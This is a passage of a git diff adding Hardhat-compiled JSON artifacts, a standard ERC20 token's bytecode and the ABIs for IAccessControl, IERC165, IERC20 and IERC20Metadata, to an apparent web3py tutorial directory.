80910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122038d08cf042ca9ed8cb8165339d14391ba1f9029c8982ccdbef3fd55257da409664736f6c63430008000033",
+  "bytecode": "0x60806040523480156200001157600080fd5b506040516200167838038062001678833981810160405281019062000037919062000193565b81600390805190602001906200004f92919062000071565b5080600490805190602001906200006892919062000071565b50505062000337565b8280546200007f90620002a3565b90600052602060002090601f016020900481019282620000a35760008555620000ef565b82601f10620000be57805160ff1916838001178555620000ef565b82800160010185558215620000ef579182015b82811115620000ee578251825591602001919060010190620000d1565b5b509050620000fe919062000102565b5090565b5b808211156200011d57600081600090555060010162000103565b5090565b60006200013862000132846200023a565b62000206565b9050828152602081018484840111156200015157600080fd5b6200015e8482856200026d565b509392505050565b600082601f8301126200017857600080fd5b81516200018a84826020860162000121565b91505092915050565b60008060408385031215620001a757600080fd5b600083015167ffffffffffffffff811115620001c257600080fd5b620001d08582860162000166565b925050602083015167ffffffffffffffff811115620001ee57600080fd5b620001fc8582860162000166565b9150509250929050565b6000604051905081810181811067ffffffffffffffff8211171562000230576200022f62000308565b5b8060405250919050565b600067ffffffffffffffff82111562000258576200025762000308565b5b601f19601f8301169050602081019050919050565b60005b838110156200028d57808201518184015260208101905062000270565b838111156200029d576000848401525b50505050565b60006002820490506001821680620002bc57607f821691505b60208210811415620002d357620002d2620002d9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61133180620003476000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea26469706673582212204b216b17ce72a54f63f5d59396f790d81b70cd1bbf28606789bbfdc698a20ddd64736f6c63430008000033",
+  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea26469706673582212204b216b17ce72a54f63f5d59396f790d81b70cd1bbf28606789bbfdc698a20ddd64736f6c63430008000033",
   "linkReferences": {},
   "deployedLinkReferences": {}
 }
diff --git a/basic/18-web3py/ABI/IAccessControl.json b/basic/18-web3py/ABI/IAccessControl.json
new file mode 100644
index 000000000..67897a990
--- /dev/null
+++ b/basic/18-web3py/ABI/IAccessControl.json
@@ -0,0 +1,108 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "IAccessControl",
+  "sourceName": "contracts/openzeppelin/AccessControl.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        }
+      ],
+      "name": "getRoleAdmin",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "grantRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "hasRole",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "renounceRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "revokeRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/IERC165.json b/basic/18-web3py/ABI/IERC165.json
new file mode 100644
index 000000000..14fc5be9b
--- /dev/null
+++ b/basic/18-web3py/ABI/IERC165.json
@@ -0,0 +1,30 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "IERC165",
+  "sourceName": "contracts/openzeppelin/IERC165.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.json b/basic/18-web3py/ABI/IERC20.json
similarity index 98%
rename from Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.json
rename to basic/18-web3py/ABI/IERC20.json
index b9c4a5c7c..ec9f556ed 100644
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/IERC20.json
+++ b/basic/18-web3py/ABI/IERC20.json
@@ -1,7 +1,7 @@
 {
   "_format": "hh-sol-artifact-1",
   "contractName": "IERC20",
-  "sourceName": "contracts/SimpleToken.sol",
+  "sourceName": "contracts/ierc20.sol",
   "abi": [
     {
       "anonymous": false,
diff --git a/basic/18-web3py/ABI/IERC20Metadata.json b/basic/18-web3py/ABI/IERC20Metadata.json
new file mode 100644
index 000000000..436b069d3
--- /dev/null
+++ b/basic/18-web3py/ABI/IERC20Metadata.json
@@ -0,0 +1,233 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "IERC20Metadata",
+  "sourceName": "contracts/erc20metadata.sol",
+  "abi": [
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Approval",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "from",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "to",
+          "type": "address"
+        },
+        {
+          "indexed": false,
+          "internalType": "uint256",
+          "name": "value",
+          "type": "uint256"
+        }
+      ],
+      "name": "Transfer",
+      "type": "event"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "owner",
+          "type": "address"
+        },
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        }
+      ],
+      "name": "allowance",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "spender",
+          "type": "address"
+        },
+        {
+          "internalType": "uint256",
+          "name": "amount",
+          "type": "uint256"
+        }
+      ],
+      "name": "approve",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "balanceOf",
+      "outputs": [
+        {
+          "internalType": "uint256",
+          "name": "",
+          "type": "uint256"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "decimals",
+      "outputs": [
+        {
+          "internalType": "uint8",
+          "name": "",
+          "type": "uint8"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [],
+      "name": "name",
+      "outputs": [
+        {
